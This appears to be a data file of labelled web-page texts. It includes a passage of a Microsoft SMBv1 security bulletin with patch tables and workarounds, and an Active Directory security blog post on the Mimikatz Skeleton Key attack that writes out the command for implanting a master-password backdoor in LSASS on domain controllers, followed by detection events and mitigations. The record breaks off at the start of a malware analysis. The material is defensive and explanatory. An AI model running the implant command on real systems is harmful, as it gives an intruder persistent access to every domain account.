information regarding the likelihood, within 30 days of this security bulletin\xe2\x80\x99s release, of the exploitability of the vulnerability in relation to its severity rating and security impact, please see the Exploitability Index in the March bulletin summary. Note Please see the Security Update Guide for a new approach to consuming the security update information. You can customize your views and create affected software spreadsheets, as well as download data via a restful API. For more information, please see the Security Updates Guide FAQ. As a reminder, the Security Updates Guide will be replacing security bulletins. Please see our blog post, Furthering our commitment to security updates, for more details. **Operating System** [**Windows SMB Remote Code Execution Vulnerability \xe2\x80\x93 CVE-2017-0143**](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0143) [**Windows SMB Remote Code Execution Vulnerability \xe2\x80\x93 CVE-2017-0144**](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0144) [**Windows SMB Remote Code Execution Vulnerability \xe2\x80\x93 CVE-2017-0145**](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0145) [**Windows SMB Remote Code Execution Vulnerability \xe2\x80\x93 CVE-2017-0146**](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0146) [**Windows SMB Information Disclosure Vulnerability \xe2\x80\x93 CVE-2017-0147**](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0147) [**Windows SMB Remote Code Execution Vulnerability \xe2\x80\x93 CVE-2017-0148**](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0148) **Updates Replaced** **Windows Vista** [Windows Vista Service Pack 2](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012598) (4012598) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution 3177186 in [MS16-114](http://go.microsoft.com/fwlink/?linkid=824826) [Windows Vista x64 Edition Service Pack 2](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012598) (4012598) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution 3177186 in [MS16-114](http://go.microsoft.com/fwlink/?linkid=824826) **Windows Server 2008** [Windows Server 2008 for 32-bit Systems Service Pack 2](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012598) (4012598) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution 3177186 in [MS16-114](http://go.microsoft.com/fwlink/?linkid=824826) [Windows Server 2008 for x64-based Systems Service Pack 2](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012598) (4012598) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution 3177186 in [MS16-114](http://go.microsoft.com/fwlink/?linkid=824826) [Windows Server 2008 for Itanium-based Systems Service Pack 2](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012598) (4012598) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution 3177186 in [MS16-114](http://go.microsoft.com/fwlink/?linkid=824826) **Windows 7** [Windows 7 for 32-bit Systems Service Pack 1](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012212) (4012212) Security Only[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution None [Windows 7 for 32-bit Systems Service Pack 1](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012215) (4012215) Monthly Rollup[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3212646](https://support.microsoft.com/kb/3212646) [Windows 7 for x64-based Systems Service Pack 1](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012212) (4012212) Security Only[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution None [Windows 7 for x64-based Systems Service Pack 1](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012215) (4012215) Monthly Rollup[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3212646](https://support.microsoft.com/kb/3212646) **Windows Server 2008 R2** [Windows Server 2008 R2 for x64-based Systems Service Pack 1](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012212) (4012212) Security Only[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution None [Windows Server 2008 R2 for x64-based Systems Service Pack 1](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012215) (4012215) Monthly Rollup[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3212646](https://support.microsoft.com/kb/3212646) [Windows Server 2008 R2 for Itanium-based Systems Service Pack 1](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012212) (4012212) Security Only[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution None [Windows Server 2008 R2 for Itanium-based Systems Service Pack 1](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012215) (4012215) Monthly Rollup[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3212646](https://support.microsoft.com/kb/3212646) **Windows 8.1** [Windows 8.1 for 32-bit Systems](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012213) (4012213) Security Only[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution None [Windows 8.1 for 32-bit Systems](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012216) (4012216) Monthly Rollup[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3205401](https://support.microsoft.com/kb/3205401) [Windows 8.1 for x64-based Systems](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012213) (4012213) Security Only[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution None [Windows 8.1 for x64-based Systems](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012216) (4012216) Monthly Rollup[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3205401](https://support.microsoft.com/kb/3205401) **Windows Server 2012 and Windows Server 2012 R2** [Windows Server 2012](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012214) (4012214) Security Only[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution None [Windows Server 2012](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012217) (4012217) Monthly Rollup[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3205409](https://support.microsoft.com/kb/3205409) [Windows Server 2012 R2](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012213) (4012213) Security Only[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution None [Windows Server 2012 R2](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012216) (4012216) Monthly Rollup[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3205401](https://support.microsoft.com/kb/3205401) **Windows RT 8.1** Windows RT 8.1[2] (4012216) Monthly Rollup **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3205401](https://support.microsoft.com/kb/3205401) **Windows 10** [Windows 10 for 32-bit Systems](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012606)[3] (4012606) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3210720](https://support.microsoft.com/en-us/kb/3210720) [Windows 10 for x64-based Systems](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012606)[3] (4012606) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3210720](https://support.microsoft.com/en-us/kb/3210720) [Windows 10 Version 1511 for 32-bit Systems](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4013198)[3] (4013198) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3210721](https://support.microsoft.com/en-us/kb/3210721) [Windows 10 Version 1511 for x64-based Systems](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4013198)[3] (4013198) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3210721](https://support.microsoft.com/en-us/kb/3210721) [Windows 10 Version 1607 for 32-bit Systems](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4013429)[3] (4013429) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3213986](https://support.microsoft.com/en-us/kb/3213986) [Windows 10 Version 1607 for x64-based Systems](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4013429)[3] (4013429) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3213986](https://support.microsoft.com/en-us/kb/3213986) **Windows Server 2016** [Windows Server 2016 for x64-based Systems](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4013429)[3] (4013429) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3213986](https://support.microsoft.com/en-us/kb/3213986) **Server Core installation option** [Windows Server 2008 for 32-bit Systems Service Pack 2](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012598) (Server Core installation) (4012598) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution 3177186 in [MS16-114](http://go.microsoft.com/fwlink/?linkid=824826) [Windows Server 2008 for x64-based Systems Service Pack 2](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012598) (Server Core installation) (4012598) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution 3177186 in [MS16-114](http://go.microsoft.com/fwlink/?linkid=824826) [Windows Server 2008 R2 for x64-based Systems Service Pack 1](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012212) (Server Core installation) (4012212) Security Only[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution None [Windows Server 2008 R2 for x64-based Systems Service Pack 1](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012215) (Server Core installation) (4012215) Monthly Rollup[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3212646](https://support.microsoft.com/kb/3212646) [Windows Server 2012](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012214) (Server Core installation) (4012214) Security Only[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution None [Windows Server 2012](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012217) (Server Core installation) (4012217) Monthly Rollup[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3205409](https://support.microsoft.com/kb/3205409) [Windows Server 2012 R2](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012213) (Server Core installation) (4012213) Security Only[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution None [Windows Server 2012 R2](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4012216) (Server Core installation) (4012216) Monthly Rollup[1] **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3205401](https://support.microsoft.com/kb/3205401) [Windows Server 2016 for x64-based Systems](http://catalog.update.microsoft.com/v7/site/search.aspx?q=kb4013429)[3](Server Core installation) (4013429) **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Critical** Remote Code Execution **Important** Information Disclosure **Critical** Remote Code Execution [3213986](https://support.microsoft.com/en-us/kb/3213986) [1]Beginning with the October 2016 release, Microsoft has changed the update servicing model for Windows 7, Windows Server 2008 R2, Windows 8.1, Windows Server 2012, and Windows Server 2012 R2. For more information, please see this [Microsoft TechNet article](https://blogs.technet.microsoft.com/windowsitpro/2016/08/15/further-simplifying-servicing-model-for-windows-7-and-windows-8-1/). [2]This update is only available via Windows Update. [3] Windows 10 and Windows Server 2016 updates are cumulative. The monthly security release includes all security fixes for vulnerabilities that affect Windows 10, in addition to non-security updates. The updates are available via the Microsoft Update Catalog. Please note that effective December 13, 2016, Windows 10 and Windows Server 2016 details for the Cumulative Updates will be documented in Release Notes. Please refer to the Release Notes for OS Build numbers, Known Issues, and affected file list information. *The Updates Replaced column shows only the latest update in any chain of superseded updates. For a comprehensive list of updates replaced, go to the Microsoft Update Catalog, search for the update KB number, and then view update details (updates replaced information is provided on the Package Details tab). Vulnerability Information Multiple Windows SMB Remote Code Execution Vulnerabilities Remote code execution vulnerabilities exist in the way that the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests. An attacker who successfully exploited the vulnerabilities could gain the ability to execute code on the target server. To exploit the vulnerability, in most situations, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv1 server. The security update addresses the vulnerabilities by correcting how SMBv1 handles these specially crafted requests. The following table contains links to the standard entry for each vulnerability in the Common Vulnerabilities and Exposures list: **Vulnerability title** **CVE number** **Publicly disclosed** **Exploited** Windows SMB Remote Code Execution Vulnerability [CVE-2017-0143](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0143) No No Windows SMB Remote Code Execution Vulnerability [CVE-2017-0144](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0144) No No Windows SMB Remote Code Execution Vulnerability [CVE-2017-0145](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0145) No No Windows SMB Remote Code Execution Vulnerability [CVE-2017-0146](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0146) No No Windows SMB Remote Code Execution Vulnerability [CVE-2017-0148](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0148) No No ### Mitigating Factors Microsoft has not identified any [mitigating factors](https://technet.microsoft.com/library/security/dn848375.aspx) for these vulnerabilities. ### Workarounds The following [workarounds](https://technet.microsoft.com/library/security/dn848375.aspx) may be helpful in your situation: - **Disable SMBv1** **For customers running Windows Vista and later** See [Microsoft Knowledge Base Article 2696547](https://support.microsoft.com/kb/2696547). **Alternative method for customers running Windows 8.1 or Windows Server 2012 R2 and later** For client operating systems: 1. Open **Control Panel**, click **Programs**, and then click **Turn Windows features on or off.** 2. In the Windows Features window, clear the **SMB1.0/CIFS File Sharing Support** checkbox, and then click **OK** to close the window. 3. Restart the system. For server operating systems: 1. Open **Server Manager** and then click the **Manage** menu and select **Remove Roles and Features**. 2. In the Features window, clear the **SMB1.0/CIFS File Sharing Support** check box, and then click **OK** to close the window. 3. Restart the system. **Impact of workaround.** The SMBv1 protocol will be disabled on the target system. **How to undo the workaround.** Retrace the workaround steps, and select the **SMB1.0/CIFS File Sharing Support** check box to restore the SMB1.0/CIFS File Sharing Support feature to an active state. Windows SMB Information Disclosure Vulnerability \xe2\x80\x93 CVE-2017-0147 ---------------------------------------------------------------- An information disclosure vulnerability exists in the way that the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests. An attacker who successfully exploited this vulnerability could craft a special packet, which could lead to information disclosure from the server. To exploit the vulnerability, in most situations, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv1 server. The security update addresses the vulnerability by correcting how SMBv1 handles these specially crafted requests. The following table contains links to the standard entry for each vulnerability in the Common Vulnerabilities and Exposures list: **Vulnerability title** **CVE number** **Publicly disclosed** **Exploited** Windows SMB Information Disclosure Vulnerability [CVE-2017-0147](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-0147) No No ### Mitigating Factors Microsoft has not identified any [mitigating factors](https://technet.microsoft.com/library/security/dn848375.aspx) for this vulnerability. ### Workarounds The following [workarounds](https://technet.microsoft.com/library/security/dn848375.aspx) may be helpful in your situation: - **Disable SMBv1** **For customers running Windows Vista and later** See [Microsoft Knowledge Base Article 2696547](https://support.microsoft.com/kb/2696547). **Alternative method for customers running Windows 8.1 or Windows Server 2012 R2 and later** For client operating systems: 1. Open **Control Panel**, click **Programs**, and then click **Turn Windows features on or off.** 2. In the Windows Features window, clear the **SMB1.0/CIFS File Sharing Support** checkbox, and then click **OK** to close the window. 3. Restart the system. For server operating systems: 1. Open **Server Manager** and then click the **Manage** menu and select **Remove Roles and Features**. 2. In the Features window, clear the **SMB1.0/CIFS File Sharing Support** check box, and then click **OK** to close the window. 3. Restart the system. **Impact of workaround.** The SMBv1 protocol will be disabled on the target system. **How to undo the workaround.** Retrace the workaround steps, and select the **SMB1.0/CIFS File Sharing Support** check box to restore the SMB1.0/CIFS File Sharing Support feature to an active state. Security Update Deployment -------------------------- For Security Update Deployment information, see the Microsoft Knowledge Base article referenced here in the Executive Summary. Acknowledgments Microsoft recognizes the efforts of those in the security community who help us protect customers through coordinated vulnerability disclosure. See Acknowledgments for more information. Disclaimer The information provided in the Microsoft Knowledge Base is provided ""as is"" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. Revisions V1.0 (March 14, 2017): Bulletin published. Page generated 2017-05-08 07:15-07:00. Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest \xe2\x80\x93 Active Directory Security Toggle search form Toggle navigation Active Directory Security Active Directory & Enterprise Security, Methods to Secure Active Directory, Attack Methods & Effective Defenses, PowerShell, Tech Notes, & Geek Trivia\xe2\x80\xa6 Home About AD Resources Attack Defense & Detection Contact Mimikatz Presentations Schema Versions Security Resources SPNs Top Posts Active Directory Domain Controller Skeleton Key Malware & Mimikatz Group Policy Settings Reference for Windows 8.1 and Windows Server 2012 R2 Jan 19 2015 Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest By Sean Metcalf in Microsoft Security, Technical Reference Once an attacker has gained Domain Admin rights to your Active Directory environment, there are several methods for keeping privileged access. Skeleton Key is an ideal persistence method for the modern attacker. More information on Skeleton Key is in my earlier post. Note that the behavior documented in this post was observed in a lab environment using the version of Mimikatz shown in the screenshot. There are likely differences in the Skeleton Key malware documented by Dell SecureWorks and the Mimikatz skeleton key functionality. Mimikatz effectively \xe2\x80\x9cpatches\xe2\x80\x9d LSASS to enable use of a master password with any valid domain user. Rebooting the DC refreshes the memory which removes the \xe2\x80\x9cpatch\xe2\x80\x9d. Implanting the Mimikatz Skeleton Key on one or multiple Domain Controllers: Mimikatz can now inject a skeleton key into LSASS on the Domain Controller by running the following command on the DC: mimikatz.exe \xe2\x80\x9cprivilege::debug\xe2\x80\x9d \xe2\x80\x9cmisc::skeleton\xe2\x80\x9d exit When there are multiple Domain Controllers in an Active Directory site, all of them need the Skeleton Key implant to ensure the skeleton key master password is accepted as the user\xe2\x80\x99s valid password.. Since the client discovers a Domain Controller using DCLocator, the DC the client selects is effectively random. If all the DCs don\xe2\x80\x99t have skeleton key configured, the master password won\xe2\x80\x99t work when the client authenticates to a DC without skeleton key. Scenario: Either the attacker exploits MS14-068 or has the KRBTGT NTLM password hash and uses it to generate a Kerberos Golden Ticket to impersonate a valid Domain Admin account. The attacker leverages the forged Kerberos TGT ticket to access the Domain Controllers via PowerShell remoting. PowerShell remoting runs over WinRM and provides a shell running on the remote computer (much like SSH). In this case, the attacker runs a PowerShell script that uses \xe2\x80\x9cinvoke-command\xe2\x80\x9d to run the mimikatz command on the DCs. Domain Controller Security Events When Implanting the Mimikatz Skeleton Key: When implanting the skeleton key remotely using Mimikatz the following events are logged on the Domain Controller. Event Id 4673 Sensitive Privilege Use, Event 4611: A trusted logon process has been registered with the Local Security Authority. If Process Tracking (logging) is enabled, there are two events that are logged reliably. Event 4688: A new process has been created. Event 4689: A new process has exited. Authenticating with the Mimikatz Skeleton Key: Testing user password and user account with skeleton key password. Note that both passwords are accepted \xe2\x80\x93 the valid user password and the skeleton key master password! Testing Domain Admin account with password & skeleton key password. Note that both passwords are accepted \xe2\x80\x93 the valid user password and the skeleton key master password! \xc2 Skeleton Key Mitigation: Protect domain-level admin (DLA) accounts (Domain Admin, Administrators, etc) which reduces the risk of attackers gaining access to these credentials. Don\xe2\x80\x99t let DLA accounts logon to systems at a different security level from Domain Controllers. Don\xe2\x80\x99t let services run as Domain Admin on member servers that aren\xe2\x80\x99t protected at the same level as DCs. Enable smart card authentication for all users. Ensure Domain Controllers have limited connectivity to the network until MS14-068 is patched (kb3011780). The challenge is that the patch has to be applied after DCPromo is complete. Security software that prevents LSASS patching may mitigate the issue. Application whitelisting (ex. AppLocker) can prevent unapproved applications from running on Domain Controllers. Enabling Process Logging on Domain Controllers provides additional data on what applications (exes) are executed on Domain Controllers. Enable LSASS as a protected process on Windows Server 2012 R2 (Mimikatz can bypass with a driver, but that should make some noise in the event logs): The LSA, which includes the Local Security Authority Server Service (LSASS) process, validates users for local and remote sign-ins and enforces local security policies. The Windows 8.1 operating system provides additional protection for the LSA to prevent reading memory and code injection by non-protected processes. This provides added security for the credentials that the LSA stores and manages. \xc2 To enable LSA protection on a single computer Open the Registry Editor (RegEdit.exe), and navigate to the registry key that is located at: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa. Set the value of the registry key to: \xe2\x80\x9cRunAsPPL\xe2\x80\x9d=dword:00000001. Restart the computer. To enable LSA protection using Group Policy Open the Group Policy Management Console (GPMC). Create a new GPO that is linked at the domain level or that is linked to the organizational unit that contains your computer accounts. Or you can select a GPO that is already deployed. Right-click the GPO, and then click Edit to open the Group Policy Management Editor. Expand Computer Configuration, expand Preferences, and then expand Windows Settings. Right-click Registry, point to New, and then click Registry Item. The New Registry Properties dialog box appears. In the Hive list, click HKEY_LOCAL_MACHINE. In the Key Path list, browse to SYSTEM\\CurrentControlSet\\Control\\Lsa. In the Value name box, type RunAsPPL. In the Value type box, click the REG_DWORD. In the Value data box, type 00000001. Click OK. \xc2 \xc2 Mimikatz bypassing LSA Protection: \xc2 \xc2 (Visited 10,194 times, 5 visits today) ActiveDirectory, DomainController, LSA, LSASS, MimikatzSkeleton, PatchLSASS, SkeletonKey Sean Metcalf I improve security for enterprises around the world working for TrimarcSecurity.com Read the About page (top left) for information about me. :) https://adsecurity.org/?page_id=8 Recent Posts Slides Posted for Black Hat USA 2019 Talk: Attacking & Defending the Microsoft Cloud AD Reading: Windows Server 2019 Active Directory Features There\xe2\x80\x99s Something About Service Accounts Mitigating Exchange Permission Paths to Domain Admins in Active Directory From DNSAdmins to Domain Admin, When DNSAdmins is More than Just DNS Administration Trimarc Active Directory Security Services Have concerns about your Active Directory environment? Trimarc helps enterprises improve their security posture. Find out how... TrimarcSecurity.com Popular Posts Attack Methods for Gaining Domain Admin Rights in\xe2\x80\xa6 PowerShell Encoding & Decoding (Base64) Securing Windows Workstations: Developing a Secure Baseline Securing Domain Controllers to Improve Active\xe2\x80\xa6 Finding Passwords in SYSVOL & Exploiting Group\xe2\x80\xa6 The Most Common Active Directory Security Issues and\xe2\x80\xa6 Kerberos & KRBTGT: Active Directory\xe2\x80\x99s\xe2\x80\xa6 Building an Effective Active Directory Lab\xe2\x80\xa6 Microsoft Local Administrator Password Solution (LAPS) Detecting Offensive PowerShell Attack Tools Categories ActiveDirectorySecurity Apple Security Cloud Security Continuing Education Entertainment Exploit Hacking Hardware Security Hypervisor Security Linux/Unix Security Malware Microsoft Security Mitigation Network/System Security PowerShell RealWorld Security Security Conference Presentation/Video Security Recommendation Technical Article Technical Reading Technical Reference TheCloud Vulnerability Tags ActiveDirectory Active Directory ActiveDirectoryAttack Active Directory Security ActiveDirectorySecurity ADReading ADSecurity AD Security DCSync DEFCON DomainController EMET5 GoldenTicket HyperV Invoke-Mimikatz KB3011780 KDC Kerberos KerberosHacking KRBTGT LAPS LSASS MCM MicrosoftEMET MicrosoftWindows mimikatz MS14068 PassTheHash PowerShell PowerShellCode PowerShellHacking PowerShellv5 PowerSploit Presentation Security SIDHistory SilverTicket SneakyADPersistence SPN TGS TGT Windows10 WindowsServer2008R2 WindowsServer2012 WindowsServer2012R2 Copyright Content Disclaimer: This blog and its contents are provided ""AS IS"" with no warranties, and they confer no rights. Script samples are provided for informational purposes only and no guarantee is provided as to functionality or suitability. The views shared on this blog reflect those of the authors and do not represent the views of any companies mentioned. Content Ownership: All content posted here is intellectual work and under the current law, the poster owns the copyright of the article. Terms of Use Copyright \xc2\xa9 2011 - 2017. Content Disclaimer: This blog and its contents are provided ""AS IS"" with no warranties, and they confer no rights. Script samples are provided for informational purposes only and no guarantee is provided as to functionality or suitability. The views shared on this blog reflect those of the authors and do not represent the views of any companies mentioned. Made with by Graphene Themes.","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Emergency Incident ResponseReport a Confirmed or Potential Breach? Call +1 770-870-6343 Blog Contact Support Login Secureworks Products Solutions Services Why Secureworks Insights Company Research Skeleton Key Malware Analysis THREAT ANALYSIS Skeleton Key Malware Analysis MONDAY, JANUARY 12, 2015 BY: DELL SECUREWORKS COUNTER THREAT UNIT THREAT INTELLIGENCE Author: Dell SecureWorks Counter Threat Unit\xe2\x84\xa2 Threat Intelligence Date: 12 January 2015 Summary Dell SecureWorks Counter Threat Unit(TM) (CTU) researchers discovered malware that bypasses authentication on Active Directory (AD) systems that implement single-factor (password only) authentication. Threat actors can use a 